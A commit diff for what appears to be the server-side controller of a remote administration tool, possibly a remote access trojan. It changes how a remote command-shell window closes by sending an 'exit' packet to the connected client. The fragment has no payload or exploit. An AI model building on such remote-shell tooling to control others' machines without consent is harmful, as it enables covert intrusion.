force to close
This commit is contained in:
parent
c24ea61af7
commit
154f4b4123
@ -33,11 +33,9 @@ namespace Server.Forms
|
|||||||
{
|
{
|
||||||
richTextBox1.Clear();
|
richTextBox1.Clear();
|
||||||
textBox1.Clear();
|
textBox1.Clear();
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
if (textBox1.Text == "exit".ToLower())
|
if (textBox1.Text == "exit".ToLower())
|
||||||
{
|
{
|
||||||
ExitShell();
|
|
||||||
this.Close();
|
this.Close();
|
||||||
}
|
}
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
@ -50,8 +48,10 @@ namespace Server.Forms
|
|||||||
|
|
||||||
private void FormShell_FormClosed(object sender, FormClosedEventArgs e)
|
private void FormShell_FormClosed(object sender, FormClosedEventArgs e)
|
||||||
{
|
{
|
||||||
ExitShell();
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "shellWriteInput";
|
||||||
|
msgpack.ForcePathObject("WriteInput").AsString = "exit";
|
||||||
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
|
|
||||||
private void Timer1_Tick(object sender, EventArgs e)
|
private void Timer1_Tick(object sender, EventArgs e)
|
||||||
@ -62,14 +62,5 @@ namespace Server.Forms
|
|||||||
}
|
}
|
||||||
catch { this.Close(); }
|
catch { this.Close(); }
|
||||||
}
|
}
|
||||||
|
|
||||||
private void ExitShell()
|
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
Client?.Disconnected();
|
|
||||||
}
|
|
||||||
catch { }
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user